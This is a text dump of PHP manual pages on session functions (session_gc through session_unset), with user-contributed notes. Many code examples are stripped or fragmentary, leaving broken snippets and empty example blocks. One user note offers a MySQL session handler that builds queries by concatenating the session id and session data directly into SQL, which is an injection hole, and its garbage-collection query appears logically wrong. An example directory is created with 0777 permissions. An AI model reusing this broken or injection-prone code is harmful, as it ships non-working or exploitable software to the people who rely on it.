echo session_encode(); < this code will print > login_ok|b:1;nome|s:4:"sica";inteiro|i:34; < -------------------------------------------------------------------------------- *session_gc* +------------+~ | session_gc |~ +------------+~ (PHP 7 >= 7.1.0) session_gc — Perform session data garbage collection Description~ > int session_gc ( void ) < session_gc() is used to perform session data GC(garbage collection). PHP does probability based session GC by default. Probability based GC works somewhat but it has few problems. 1) Low traffic site's session data may not be deleted within preferred duration. 2) High traffic site's may have too frequent GC. 3) GC is performed on the user's request and the user will experience GC delay. Therefore, it is recommended to execute GC periodically for production systems. e.g. Use "cron" for UNIX like systems. Make sure to disable probability based GC by setting session.gc_probability to 0. Return Values~ session_gc() returns number of deleted session data for success, FALSE for failure. Old save handlers do not return number of deleted session data, but only success/failure flag. If this is the case, number of deleted session data became 1 regardless of actually deleted data. Examples~ Example #1 session_gc() example for task managers like cron > Example #2 session_gc() example for user accessible script < See Also~ |session_start|() - Start new or resume existing session |session_destroy|() - Destroys all data registered to a session |session.gc_probability| -------------------------------------------------------------------------------- *session_get_cookie_params* +---------------------------+~ | session_get_cookie_params |~ +---------------------------+~ (PHP 4, PHP 5, PHP 7) session_get_cookie_params — Get the session cookie parameters Description~ > array session_get_cookie_params ( void ) < Gets the session cookie parameters. Return Values~ Returns an array with the current session cookie information, the array contains the following items: "lifetime" - The lifetime of the cookie in seconds. "path" - The path where information is stored. "domain" - The domain of the cookie. "secure" - The cookie should only be sent over secure connections. "httponly" - The cookie can only be accessed through the HTTP protocol. Changelog~ Version Description 5.2.0 The "httponly" entry was added in the returned array. See Also~ |session.cookie_lifetime| |session.cookie_path| |session.cookie_domain| |session.cookie_secure| |session.cookie_httponly| |session_set_cookie_params|() - Set the session cookie parameters User Contributed Notes 3 notes -------------------------------------------------------------------------------- *session_id* +------------+~ | session_id |~ +------------+~ (PHP 4, PHP 5, PHP 7) session_id — Get and/or set the current session id Description~ > string session_id ([ string $id ] ) < session_id() is used to get or set the session id for the current session. The constant SID can also be used to retrieve the current name and session id as a string suitable for adding to URLs. See also Session handling. Parameters~ id ----- If id is specified, it will replace the current session id. session_id() needs to be called before session_start() for that purpose. Depending on the session handler, not all characters are allowed within the session id. For example, the file session handler only allows characters in the range a-z A-Z 0-9 , (comma) and - (minus)! Note: When using session cookies, specifying an id for session_id() will always send a new cookie when session_start() is called, regardless if the current session id is identical to the one being set. Return Values~ |session_id|() returns the session id for the current session or the empty string ("") if there is no current session (no current session id exists). See Also~ |session_regenerate_id|() - Update the current session id with a newly generated one |session_start|() - Start new or resume existing session |session_set_save_handler|() - Sets user-level session storage functions |session.save_handler| -------------------------------------------------------------------------------- *session_is_registered* +-----------------------+~ | session_is_registered |~ +-----------------------+~ (PHP 4, PHP 5 < 5.4.0) session_is_registered — Find out whether a global variable is registered in a session Description~ > bool session_is_registered ( string $name ) < Finds out whether a global variable is registered in a session. Warning This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0. Parameters~ name ----- The variable name. Return Values~ session_is_registered() returns TRUE if there is a global variable with the name name registered in the current session, FALSE otherwise. Notes Note: If $_SESSION is used, use isset() to check a variable is registered in $_SESSION. Caution If you are using $_SESSION (or $HTTP_SESSION_VARS), do not use session_register(), session_is_registered() and session_unregister(). User Contributed Notes 9 notes 7 pk at majstar dot com ¶2 years ago~ There's an error in the comment posted by "someone at the dot inter dot net". Correct replacement for function session_is_registered() in PHP 5.4+ is function session_is_registered($x) {return isset($_SESSION[$x]);} so just $x instead of '$x' - single quotation mark won't interpolate the variable $x and the function will always return false. -------------------------------------------------------------------------------- *session_module_name* +---------------------+~ | session_module_name |~ +---------------------+~ (PHP 4, PHP 5, PHP 7) session_module_name — Get and/or set the current session module Description~ > string session_module_name ([ string $module ] ) < session_module_name() gets the name of the current session module. Parameters~ module ------ If module is specified, that module will be used instead. Return Values~ Returns the name of the current session module. User Contributed Notes 3 notes -------------------------------------------------------------------------------- *session_name* +--------------+~ | session_name |~ +--------------+~ (PHP 4, PHP 5, PHP 7) session_name — Get and/or set the current session name Description~ > string session_name ([ string $name ] ) < session_name() returns the name of the current session. If name is given, session_name() will update the session name and return the old session name. The session name is reset to the default value stored in session.name at request startup time. Thus, you need to call session_name() for every request (and before session_start() or session_register() are called). Parameters~ name ----- The session name references the name of the session, which is used in cookies and URLs (e.g. PHPSESSID). It should contain only alphanumeric characters; it should be short and descriptive (i.e. for users with enabled cookie warnings). If name is specified, the name of the current session is changed to its value. Warning The session name can't consist of digits only, at least one letter must be present. Otherwise a new session id is generated every time. Return Values~ Returns the name of the current session. If name is given and function updates the session name, name of the old session is returned. Examples~ Example #1 session_name() example > "; ?> < See Also~ The |session.name| configuration directive User Contributed Notes 6 notes 75 Hongliang Qiang ¶12 years ago~ This may sound no-brainer: the session_name() function will have no essential effect if you set session.auto_start to "true" in php.ini . And the obvious explanation is the session already started thus cannot be altered before the session_name() function--wherever it is in the script--is executed, same reason session_name needs to be called before session_start() as documented. I know it is really not a big deal. But I had a quite hard time before figuring this out, and hope it might be helpful to someone like me. 26 relsqui at chiliahedron dot com ¶8 years ago~ Remember, kids--you MUST use session_name() first if you want to use session_set_cookie_params() to, say, change the session timeout. Otherwise it won't work, won't give any error, and nothing in the documentation (that I've seen, anyway) will explain why. Thanks to brandan of bildungsroman.com who left a note under session_set_cookie_params() explaining this or I'd probably still be throwing my hands up about it. 23 php at wiz dot cx ¶8 years ago~ if you try to name a php session "example.com" it gets converted to "example_com" and everything breaks. don't use a period in your session name. 11 Joseph Dalrymple ¶5 years ago~ For those wondering, this function is expensive! On a script that was executing in a consistent 0.0025 seconds, just the use of session_name("foo") shot my execution time up to ~0.09s. By simply sacrificing session_name("foo"), I sped my script up by roughly 0.09 seconds. -------------------------------------------------------------------------------- *session_regenerate_id* +-----------------------+~ | session_regenerate_id |~ +-----------------------+~ (PHP 4 >= 4.3.2, PHP 5, PHP 7) session_regenerate_id — Update the current session id with a newly generated one Description~ bool ----- session_regenerate_id ([ bool $delete_old_session = false ] ) session_regenerate_id() will replace the current session id with a new one, and keep the current session information. When session.use_trans_sid is enabled, output must be started after session_regenerate_id() call. Otherwise, old session ID is used. Warning Current session_regenerate_id does not handle unstable network well. e.g. Mobile and WiFi network. Therefore, you may experience lost session by calling session_regenerate_id. You should not destroy old session data immediately, but should use destroy time-stamp and control access to old session ID. Otherwise, concurrent access to page may result in inconsistent state, or you may have lost session, or it may cause client(browser) side race condition and may create many session ID needlessly. Immediate session data deletion disables session hijack attack detection and prevention also. Parameters~ delete_old_session ------------------ Whether to delete the old associated session file or not. You should not delete old session if you need to avoid races caused by deletion or detect/avoid session hijack attacks. Return Values~ Returns TRUE on success or FALSE on failure. Changelog~ Version Description 7.0.0 |session_regenerate_id|() saves old session data before closing. 5.1.0 Added the delete_old_session parameter. 4.3.3 Since then, if session cookies are enabled, use of session_regenerate_id() will also submit a new session cookie with the new session id. Examples ¶ Example #1 A session_regenerate_id() example > "; echo "New Session: $new_sessionid
"; print_r($_SESSION); ?> Current session module does not handle unstable network well. You should manage session ID to avoid lost session by session_regenerate_id. < Example #2 Avoiding lost session by session_regenerate_id() > < See Also~ |session_id|() - Get and/or set the current session id |session_create_id|() - Create new session id |session_start|() - Start new or resume existing session |session_destroy|() - Destroys all data registered to a session |session_reset|() - Re-initialize session array with original values |session_name|() - Get and/or set the current session name User Contributed Notes 23 notes 13 ross at kndr dot org ¶12 years ago~ In a previous note, php at 5mm de describes how to prevent session hijacking by ensuring that the session id provided matches the HTTP_USER_AGENT and REMOTE_ADDR fields that were present when the session id was first issued. It should be noted that HTTP_USER_AGENT is supplied by the client, and so can be easily modified by a malicious user. Also, the client IP addresses can be spoofed, although that's a bit more difficult. Care should be taken when relying on the session for authentication. 20 tedivm at tedivm dot com ¶8 years ago~ I wrote the following code for a project I'm working on- it attempts to resolve the regenerate issue, as well as deal with a couple of other session related things. I tried to make it a little more generic and usable (for instance, in the full version it throws different types of exceptions for the different types of session issues), so hopefully someone might find it useful. > user->getId(); // Set current session to expire in 1 minute $_SESSION['OBSOLETE'] = true; $_SESSION['EXPIRES'] = time() + 60; // Create new session without destroying the old one session_regenerate_id(false); // Grab current session ID and close both sessions to allow other scripts to use them $newSession = session_id(); session_write_close(); // Set session ID to the new one, and start it back up again session_id($newSession); session_start(); // Don't want this one to expire unset($_SESSION['OBSOLETE']); unset($_SESSION['EXPIRES']); } function checkSession() { try{ if($_SESSION['OBSOLETE'] && ($_SESSION['EXPIRES'] < time())) throw new Exception('Attempt to use expired session.'); if(!is_numeric($_SESSION['user_id'])) throw new Exception('No session started.'); if($_SESSION['IPaddress'] != $_SERVER['REMOTE_ADDR']) throw new Exception('IP Address mixmatch (possible session hijacking attempt).'); if($_SESSION['userAgent'] != $_SERVER['HTTP_USER_AGENT']) throw new Exception('Useragent mixmatch (possible session hijacking attempt).'); if(!$this->loadUser($_SESSION['user_id'])) throw new Exception('Attempted to log in user that does not exist with ID: ' . $_SESSION['user_id']); if(!$_SESSION['OBSOLETE'] && mt_rand(1, 100) == 1) { $this->regenerateSession(); } return true; }catch(Exception $e){ return false; } } ?> < 6 tedivm at tedivm dot com ¶1 year ago~ I wrote the current top voted comment on this and wanted to add something. The existing code from my previous comment generates it's nonces in an insecure way- > < Since "microtime" is predictable it makes brute forcing the nonce much easier. A better option would be something that utilizes randomness, such as- > < 7 spmtrap at yahoo dot com ¶5 years ago~ `session_regenerate_id` sends a new cookie but doesn't overwrite the value stored in `$_COOKIE`. After calling `session_destroy`, the open session ID is discarded, so simply restarting the session with `session_start` (as done in Ben Johnson's code) will re-open the original, though now empty, session for the current request (subsequent requests will use the new session ID). Instead of `session_destroy`+`session_start`, use the `$delete_old_session` parameter to `session_regenerate_id` to delete the previous session data. > < To start a new session and leave the old untouched, simply leave out the argument to `session_regenerate_id`. -------------------------------------------------------------------------------- *session_register_shutdown* +---------------------------+~ | session_register_shutdown |~ +---------------------------+~ (PHP >= 5.4.0) session_register_shutdown — Session shutdown function Description~ > void session_register_shutdown ( void ) < Registers session_write_close() as a shutdown function. Parameters~ This function has no parameters. Return Values~ No value is returned. Errors/Exceptions~ Emits E_WARNING if registering the shutdown function fails. -------------------------------------------------------------------------------- *session_register* +------------------+~ | session_register |~ +------------------+~ (PHP 4, PHP 5 < 5.4.0) session_register — Register one or more global variables with the current session Description~ > bool session_register ( mixed $name [, mixed $... ] ) < session_register() accepts a variable number of arguments, any of which can be either a string holding the name of a variable or an array consisting of variable names or other arrays. For each name, session_register() registers the global variable with that name in the current session. You can also create a session variable by simply setting the appropriate member of the $_SESSION array. > < If session_start() was not called before this function is called, an implicit call to session_start() with no parameters will be made. $_SESSION does not mimic this behavior and requires session_start() before use. Warning This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0. Parameters name ----- A string holding the name of a variable or an array consisting of variable names or other arrays. ... Return Values~ Returns TRUE on success or FALSE on failure. Notes Caution If you want your script to work regardless of register_globals, you need to instead use the $_SESSION array as $_SESSION entries are automatically registered. If your script uses session_register(), it will not work in environments where the PHP directive register_globals is disabled. Note: register_globals: important note As of PHP 4.2.0, the default value for the PHP directive register_globals is off. The PHP community discourages developers from relying on this directive, and encourages the use of other means, such as the superglobals. Caution This registers a global variable. If you want to register a session variable from within a function, you need to make sure to make it global using the global keyword or the $GLOBALS[] array, or use the special session arrays as noted below. Caution If you are using $_SESSION, do not use session_register(), session_is_registered(), and session_unregister(). Note: It is currently impossible to register resource variables in a session. For example, you cannot create a connection to a database and store the connection id as a session variable and expect the connection to still be valid the next time the session is restored. PHP functions that return a resource are identified by having a return type of resource in their function definition. A list of functions that return resources are available in the resource types appendix. If $_SESSION is used, assign values to $_SESSION. For example: $_SESSION['var'] = 'ABC'; See Also ¶ session_is_registered() - Find out whether a global variable is registered in a session session_unregister() - Unregister a global variable from the current session $_SESSION 12 Ezion oudpapierdoos at gmail dot com ¶7 years ago~ Below is a fix that may be included in older code to make it work with PHP6. When needed it recreates the functions - session_register() - session_is_registered() - session_unregister() The functions inside the function fix_session_register() are only available after fix_session_register() has run. Therefore in PHP<6 where there already is a session_register() nothing happens. > < [EDIT BY danbrown AT php DOT net: Bugfix provided by "dr3w" on 02-APR-2010: "its [sic] function_exists with an S at the end".] 11 rob at akrabat dot com ¶7 years ago~ if you remove session_register() calls and replace with $_SESSION assignments, make sure that it wasn't being used in place of session_start(). If it was, you'll need to add a call to session_start() too, before you assign to $_SESSION. -------------------------------------------------------------------------------- *session_reset* +---------------+~ | session_reset |~ +---------------+~ (PHP 5 >= 5.6.0, PHP 7) session_reset — Re-initialize session array with original values Description~ > void session_reset ( void ) < session_reset() reinitializes a session with original values stored in session storage. This function requires an active session and discards changes in $_SESSION. Return Values~ No value is returned. See Also~ |$_SESSION| The |session.auto_start| configuration directive |session_start|() - Start new or resume existing session |session_abort|() - Discard session array changes and finish session |session_commit|() - Alias of session_write_close 15 parsa dot mhn at outlook dot com ¶1 year ago~ First of all you should execute this code : > < then you should execute this one : > < That is because session_reset() is rolling back changes to the last saved session data, which is their values right after the session_start(). -------------------------------------------------------------------------------- *session_save_path* +-------------------+~ | session_save_path |~ +-------------------+~ (PHP 4, PHP 5, PHP 7) session_save_path — Get and/or set the current session save path Description~ > string session_save_path ([ string $path ] ) < session_save_path() returns the path of the current directory used to save session data. Parameters~ path ----- Session data path. If specified, the path to which data is saved will be changed. session_save_path() needs to be called before session_start() for that purpose. Note: On some operating systems, you may want to specify a path on a filesystem that handles lots of small files efficiently. For example, on Linux, reiserfs may provide better performance than ext2fs. Return Values~ Returns the path of the current directory used for data storage. See Also~ The |session.save_path| configuration directive 41 mdibbets at outlook dot nospam ¶3 years ago~ I made a folder next to the public html folder and placed these lines at the very first point in index.php Location of session folder: /domains/account/session location of index.php /domains/account/public_html/index.php What I placed in index.php at line 0: > < Otherwise, old files in '/home/example.com/sessions' will never get removed! 9 sampathperera at hotmail dot com - Sri Lanka ¶9 years ago~ Session on clustered web servers ! We had problem in PHP session handling with 2 web server cluster. Problem was one servers session data was not available in other server. So I made a simple configuration in both server php.ini file. Changed session.save_path default value to shared folder on both servers (/mnt/session/). It works for me. :) -------------------------------------------------------------------------------- *session_set_cookie_params* +---------------------------+~ | session_set_cookie_params |~ +---------------------------+~ (PHP 4, PHP 5, PHP 7) session_set_cookie_params — Set the session cookie parameters Description~ > void session_set_cookie_params ( int $lifetime [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]] ) < Set cookie parameters defined in the php.ini file. The effect of this function only lasts for the duration of the script. Thus, you need to call session_set_cookie_params() for every request and before session_start() is called. This function updates the runtime ini values of the corresponding PHP ini configuration keys which can be retrieved with the ini_get(). Parameters~ lifetime -------- Lifetime of the session cookie, defined in seconds. path ----- Path on the domain where the cookie will work. Use a single slash ('/') for all paths on the domain. domain ------ Cookie domain, for example 'www.php.net'. To make cookies visible on all subdomains then the domain must be prefixed with a dot like '.php.net'. secure ------ If TRUE cookie will only be sent over secure connections. httponly -------- If set to TRUE then PHP will attempt to send the httponly flag when setting the session cookie. Return Values~ No value is returned. Changelog~ Version Description 5.2.0 The httponly parameter was added. See Also~ |session.cookie_lifetime| |session.cookie_path| |session.cookie_domain| |session.cookie_secure| |session.cookie_httponly| |session_get_cookie_params|() - Get the session cookie parameters User Contributed Notes 19 notes 68 final dot wharf at gmail dot com ¶6 years ago~ As PHP's Session Control does not handle session lifetimes correctly when using session_set_cookie_params(), we need to do something in order to change the session expiry time every time the user visits our site. So, here's the problem. > < This code doesn't change the lifetime of the session when the user gets back at our site or refreshes the page. The session WILL expire after $lifetime seconds, no matter how many times the user requests the page. So we just overwrite the session cookie as follows: > < And now we have the same session cookie with the lifetime set to the proper value. 9 Danack dot Ackroyd at gmail dot com ¶5 years ago~ Setting the domain for cookies in session_set_cookie_params() only affects the domain used for the session cookie which is set by PHP. All other cookies set by calling the function setcookie() either: i) Use the domain set explicitly in the call to setcookie() or ii) Don't set the domain at all on the cookie and so the browser assumes it's for the current domain. So to make all your cookies be available across all sub-domains of your site you need to do this: > < 6 Miki ¶7 years ago~ REMEMBER, that if you have a multi-subdomain site, you must put the following to enable a session id on the whole website: > < Otherwise, you'll have 2 diffrent sessions on e.g. news.example.com and download.example.com -------------------------------------------------------------------------------- *session_set_save_handler* +--------------------------+~ | session_set_save_handler |~ +--------------------------+~ (PHP 4, PHP 5, PHP 7) session_set_save_handler — Sets user-level session storage functions Description~ > bool session_set_save_handler ( callable $open , callable $close , callable $read , callable $write , callable $destroy , callable $gc [, callable $create_sid [, callable $validate_sid [, callable $update_timestamp ]]] ) < Since PHP 5.4 it is possible to register the following prototype: > bool session_set_save_handler ( SessionHandlerInterface $sessionhandler [, bool $register_shutdown = true ] ) < session_set_save_handler() sets the user-level session storage functions which are used for storing and retrieving data associated with a session. This is most useful when a storage method other than those supplied by PHP sessions is preferred, e.g. storing the session data in a local database. Parameters~ This function has two prototypes. sessionhandler -------------- An instance of a class implementing |SessionHandlerInterfaces|, such as |SessionHandler|, to register as the session handler. Since PHP 5.4 only. register_shutdown ----------------- Register |session_write_close|() as a |register_shutdown_function|() function. or open(string $savePath, string $sessionName) The open callback works like a constructor in classes and is executed when the session is being opened. It is the first callback function executed when the session is started automatically or manually with session_start(). Return value is TRUE for success, FALSE for failure. close() The close callback works like a destructor in classes and is executed after the session write callback has been called. It is also invoked when session_write_close() is called. Return value should be TRUE for success, FALSE for failure. read(string $sessionId) The read callback must always return a session encoded (serialized) string, or an empty string if there is no data to read. This callback is called internally by PHP when the session starts or when session_start() is called. Before this callback is invoked PHP will invoke the open callback. The value this callback returns must be in exactly the same serialized format that was originally passed for storage to the write callback. The value returned will be unserialized automatically by PHP and used to populate the $_SESSION superglobal. While the data looks similar to serialize() please note it is a different format which is speficied in the session.serialize_handler ini setting. write(string $sessionId, string $data) The write callback is called when the session needs to be saved and closed. This callback receives the current session ID a serialized version the $_SESSION superglobal. The serialization method used internally by PHP is specified in the session.serialize_handler ini setting. The serialized session data passed to this callback should be stored against the passed session ID. When retrieving this data, the read callback must return the exact value that was originally passed to the write callback. This callback is invoked when PHP shuts down or explicitly when session_write_close() is called. Note that after executing this function PHP will internally execute the close callback. Note: The "write" handler is not executed until after the output stream is closed. Thus, output from debugging statements in the "write" handler will never be seen in the browser. If debugging output is necessary, it is suggested that the debug output be written to a file instead. destroy($sessionId) This callback is executed when a session is destroyed with session_destroy() or with session_regenerate_id() with the destroy parameter set to TRUE. Return value should be TRUE for success, FALSE for failure. gc($lifetime) The garbage collector callback is invoked internally by PHP periodically in order to purge old session data. The frequency is controlled by session.gc_probability and session.gc_divisor. The value of lifetime which is passed to this callback can be set in session.gc_maxlifetime. Return value should be TRUE for success, FALSE for failure. create_sid() This callback is executed when a new session ID is required. No parameters are provided, and the return value should be a string that is a valid session ID for your handler. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 Custom session handler: see full code in SessionHandlerInterface synposis. The following code is for PHP version 5.4.0 and above. We just show the invokation here, the full example can be seen in the SessionHandlerInterface synposis linked above. Note we use the OOP prototype with session_set_save_handler() and register the shutdown function using the function's parameter flag. This is generally advised when registering objects as session save handlers. > savePath = $savePath; if (!is_dir($this->savePath)) { mkdir($this->savePath, 0777); } return true; } function close() { return true; } function read($id) { return (string)@file_get_contents("$this->savePath/sess_$id"); } function write($id, $data) { return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true; } function destroy($id) { $file = "$this->savePath/sess_$id"; if (file_exists($file)) { unlink($file); } return true; } function gc($maxlifetime) { foreach (glob("$this->savePath/sess_*") as $file) { if (filemtime($file) + $maxlifetime < time() && file_exists($file)) { unlink($file); } } return true; } } $handler = new FileSessionHandler(); session_set_save_handler( array($handler, 'open'), array($handler, 'close'), array($handler, 'read'), array($handler, 'write'), array($handler, 'destroy'), array($handler, 'gc') ); // the following prevents unexpected effects when using objects as save handlers register_shutdown_function('session_write_close'); session_start(); // proceed to set and retrieve values by key from $_SESSION < Notes Warning When using objects as session save handlers, it is important to register the shutdown function with PHP to avoid unexpected side-effects from the way PHP internally destroys objects on shutdown and may prevent the write and close from being called. Typically you should register 'session_write_close' using the register_shutdown_function() function. As of PHP 5.4.0 you can use session_register_shutdown() or simply use the 'register shutdown' flag when invoking session_set_save_handler() using the OOP method and passing an instance that implements SessionHandlerInterface. Warning As of PHP 5.0.5 the write and close handlers are called after object destruction and therefore cannot use objects or throw exceptions. Exceptions are not able to be caught since will not be caught nor will any exception trace be displayed and the execution will just cease unexpectedly. The object destructors can however use sessions. It is possible to call session_write_close() from the destructor to solve this chicken and egg problem but the most reliable way is to register the shutdown function as described above. Warning Current working directory is changed with some SAPIs if session is closed in the script termination. It is possible to close the session earlier with session_write_close(). Changelog Version Description 5.5.1 Added the optional create_sid parameter. 5.4.0 Added SessionHandlerInterface for implementing session handlers and SessionHandler to expose internal PHP session handlers. See Also The |session.save_handler| configuration directive The |session.serialize_handler| configuration directive. The |register_shutdown_function|() - Register a function for execution on shutdown The |session_register_shutdown|() - Session shutdown function for PHP 5.4.0+ Refer to » save_handler.inc for a full procedural reference implementation 14 andreipa at gmail dot com ¶1 year ago~ After spend so many time to understand how PHP session works with database and unsuccessful attempts to get it right, I decided to rewrite the version from our friend stalker. > //Database CREATE TABLE `Session` ( `Session_Id` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `Session_Expires` datetime NOT NULL, `Session_Data` text COLLATE utf8_unicode_ci, PRIMARY KEY (`Session_Id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; SELECT * FROM mydatabase.Session; link = $link; return true; }else{ return false; } } public function close() { mysqli_close($this->link); return true; } public function read($id) { $result = mysqli_query($this->link,"SELECT Session_Data FROM Session WHERE Session_Id = '".$id."' AND Session_Expires > '".date('Y-m-d H:i:s')."'"); if($row = mysqli_fetch_assoc($result)){ return $row['Session_Data']; }else{ return ""; } } public function write($id, $data) { $DateTime = date('Y-m-d H:i:s'); $NewDateTime = date('Y-m-d H:i:s',strtotime($DateTime.' + 1 hour')); $result = mysqli_query($this->link,"REPLACE INTO Session SET Session_Id = '".$id."', Session_Expires = '".$NewDateTime."', Session_Data = '".$data."'"); if($result){ return true; }else{ return false; } } public function destroy($id) { $result = mysqli_query($this->link,"DELETE FROM Session WHERE Session_Id ='".$id."'"); if($result){ return true; }else{ return false; } } public function gc($maxlifetime) { $result = mysqli_query($this->link,"DELETE FROM Session WHERE ((UNIX_TIMESTAMP(Session_Expires) + ".$maxlifetime.") < ".$maxlifetime.")"); if($result){ return true; }else{ return false; } } } $handler = new SysSession(); session_set_save_handler($handler, true); ?> < -------------------------------------------------------------------------------- *session_start* +---------------+~ | session_start |~ +---------------+~ (PHP 4, PHP 5, PHP 7) session_start — Start new or resume existing session Description~ > bool session_start ([ array $options = [] ] ) < session_start() creates a session or resumes the current one based on a session identifier passed via a GET or POST request, or passed via a cookie. When session_start() is called or when a session auto starts, PHP will call the open and read session save handlers. These will either be a built-in save handler provided by default or by PHP extensions (such as SQLite or Memcached); or can be custom handler as defined by session_set_save_handler(). The read callback will retrieve any existing session data (stored in a special serialized format) and will be unserialized and used to automatically populate the $_SESSION superglobal when the read callback returns the saved session data back to PHP session handling. To use a named session, call session_name() before calling session_start(). When session.use_trans_sid is enabled, the session_start() function will register an internal output handler for URL rewriting. If a user uses ob_gzhandler or similar with ob_start(), the function order is important for proper output. For example, ob_gzhandler must be registered before starting the session. Parameters~ options ------- If provided, this is an associative array of options that will override the currently set session configuration directives. The keys should not include the session. prefix. In addition to the normal set of configuration directives, a read_and_close option may also be provided. If set to TRUE, this will result in the session being closed immediately after being read, thereby avoiding unnecessary locking if the session data won't be changed. Return Values~ This function returns TRUE if a session was successfully started, otherwise FALSE. Changelog Version Description 7.0.0 The options parameter was added. 5.3.0 If a session fails to start, then FALSE is returned. Previously TRUE was returned. 4.3.3 As of PHP 4.3.3, calling session_start() after the session was previously started will result in an error of level E_NOTICE. Also, the second session start will simply be ignored. Examples A basic session example~ > Example #1 page1.php page 2'; // Or maybe pass along the session id, if needed echo '
page 2'; ?> < After viewing page1.php, the second page page2.php will magically contain the session data. Read the session reference for information on propagating session ids as it, for example, explains what the constant SID is all about. Example #2 page2.php > '; echo $_SESSION['favcolor']; // green echo $_SESSION['animal']; // cat echo date('Y m d H:i:s', $_SESSION['time']); // You may want to use SID here, like we did in page1.php echo '
page 1'; ?> Providing options to session_start() ¶ < Example #3 Overriding the cookie lifetime > 86400, ]); ?> Example #4 Reading the session and closing it 86400, 'read_and_close' => true, ]); < Notes Note: To use cookie-based sessions, session_start() must be called before outputing anything to the browser. Note: Use of zlib.output_compression is recommended instead of ob_gzhandler() Note: This function sends out several HTTP headers depending on the configuration. See session_cache_limiter() to customize these headers. See Also~ |$_SESSION| The session.auto_start configuration directive session_id() - Get and/or set the current session id User Contributed Notes 30 notes 31 linblow at hotmail dot fr ¶6 years ago~ If you want to handle sessions with a class, I wrote this little class: > startSession(); return self::$instance; } /** * (Re)starts the session. * * @return bool TRUE if the session has been initialized, else FALSE. **/ public function startSession() { if ( $this->sessionState == self::SESSION_NOT_STARTED ) { $this->sessionState = session_start(); } return $this->sessionState; } /** * Stores datas in the session. * Example: $instance->foo = 'bar'; * * @param name Name of the datas. * @param value Your datas. * @return void **/ public function __set( $name , $value ) { $_SESSION[$name] = $value; } /** * Gets datas from the session. * Example: echo $instance->foo; * * @param name Name of the datas to get. * @return mixed Datas stored in session. **/ public function __get( $name ) { if ( isset($_SESSION[$name])) { return $_SESSION[$name]; } } public function __isset( $name ) { return isset($_SESSION[$name]); } public function __unset( $name ) { unset( $_SESSION[$name] ); } /** * Destroys the current session. * * @return bool TRUE is session has been deleted, else FALSE. **/ public function destroy() { if ( $this->sessionState == self::SESSION_STARTED ) { $this->sessionState = !session_destroy(); unset( $_SESSION ); return !$this->sessionState; } return FALSE; } } /* Examples: */ // We get the instance $data = Session::getInstance(); // Let's store datas in the session $data->nickname = 'Someone'; $data->age = 18; // Let's display datas printf( '

My name is %s and I\'m %d years old.

' , $data->nickname , $data->age ); /* It will display: Array ( [nickname] => Someone [age] => 18 ) */ printf( '
%s
' , print_r( $_SESSION , TRUE )); // TRUE var_dump( isset( $data->nickname )); // We destroy the session $data->destroy(); // FALSE var_dump( isset( $data->nickname )); ?> < I prefer using this class instead of using directly the array $_SESSION. 6 bachtel at [googles email service]dotcom ¶1 month ago~ If you are using a custom session handler via session_set_save_handler() then calling session_start() in PHP 7.1 you might see an error like this: session_start(): Failed to read session data: user (path: /var/lib/php/session) in ... As of this writing, it seems to be happening in PHP 7.1, and things look OK in PHP7.0. It is also hard to track down because if a session already exists for this id (maybe created by an earlier version of PHP), it will not trigger this issue because the $session_data will not be null. The fix is simple... you just need to check for 'null' during your read function: > < 6 emre@yazici ¶7 years ago~ PHP Manual specifically denotes this common mistake: Depending on the session handler, not all characters are allowed within the session id. For example, the file session handler only allows characters in the range a-z A-Z 0-9 , (comma) and - (minus)! See session_id() manual page for more details. 19 someOne_01 at somewhere dot com ¶4 years ago~ When you have an import script that takes long to execute, the browser seem to lock up and you cannot access the website anymore. this is because a request is reading and locking the session file to prevent corruption. you can either - use a different session handler with session_set_save_handler() - use session_write_close() in the import script as soon you don't need session anymore (best moment is just before the long during part takes place), you can session_start when ever you want and as many times you like if your import script requires session variables changed. example > < 12 dave1010 at gmail dot com ¶6 years ago~ PHP locks the session file until it is closed. If you have 2 scripts using the same session (i.e. from the same user) then the 2nd script will not finish its call to session_start() until the first script finishes execution. If you have scripts that run for more than a second and users may be making more than 1 request at a time then it is worth calling session_write_close() as soon as you've finished writing session data. > < Found this out from http://konrness.com/php5/how-to-prevent-blocking-php-requests/ 7 elitescripts2000 at yahoo dot com ¶3 years ago~ 3 easy but vital things about Sessions in AJAX Apps. > < Hope this helps someone with their sessions... Thanks. -------------------------------------------------------------------------------- *session_status* +----------------+~ | session_status |~ +----------------+~ (PHP >= 5.4.0) session_status — Returns the current session status Description~ > int session_status ( void ) < session_status() is used to return the current session status. Return Values~ PHP_SESSION_DISABLED if sessions are disabled. PHP_SESSION_NONE if sessions are enabled, but none exists. PHP_SESSION_ACTIVE if sessions are enabled, and one exists. See Also~ |session_start|() - Start new or resume existing session User Contributed Notes 7 notes 34 coder dot ua at gmail dot com ¶3 years ago~ Universal function for checking session status. > =') ) { return session_status() === PHP_SESSION_ACTIVE ? TRUE : FALSE; } else { return session_id() === '' ? FALSE : TRUE; } } return FALSE; } // Example if ( is_session_started() === FALSE ) session_start(); ?> < 24 sasi dot viragelet at gmail dot co ¶2 years ago~ Maybe depending on PHP settings, but if return values are not the above, then go for this: > _DISABLED = 0 _NONE = 1 _ACTIVE = 2 < -------------------------------------------------------------------------------- *session_unregister* +--------------------+~ | session_unregister |~ +--------------------+~ (PHP 4, PHP 5 < 5.4.0) session_unregister — Unregister a global variable from the current session Description~ > bool session_unregister ( string $name ) < session_unregister() unregisters the global variable named name from the current session. Warning This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0. Parameters~ name ----- The variable name. Return Values~ Returns TRUE on success or FALSE on failure. Notes Note: If $_SESSION is used, use unset() to unregister a session variable. Do not unset() $_SESSION itself as this will disable the special function of the $_SESSION superglobal. Caution This function does not unset the corresponding global variable for name, it only prevents the variable from being saved as part of the session. You must call unset() to remove the corresponding global variable. Caution If you are using $_SESSION (or $HTTP_SESSION_VARS), do not use session_register(), session_is_registered() and session_unregister(). User Contributed Notes 3 notes -------------------------------------------------------------------------------- *session_unset* +---------------+~ | session_unset |~ +---------------+~ (PHP 4, PHP 5, PHP 7) session_unset — Free all session variables Description~ > void session_unset ( void ) < The session_unset() function frees all session variables currently registered. Return Values~ No value is returned. Notes Note: If $_SESSION is used, use 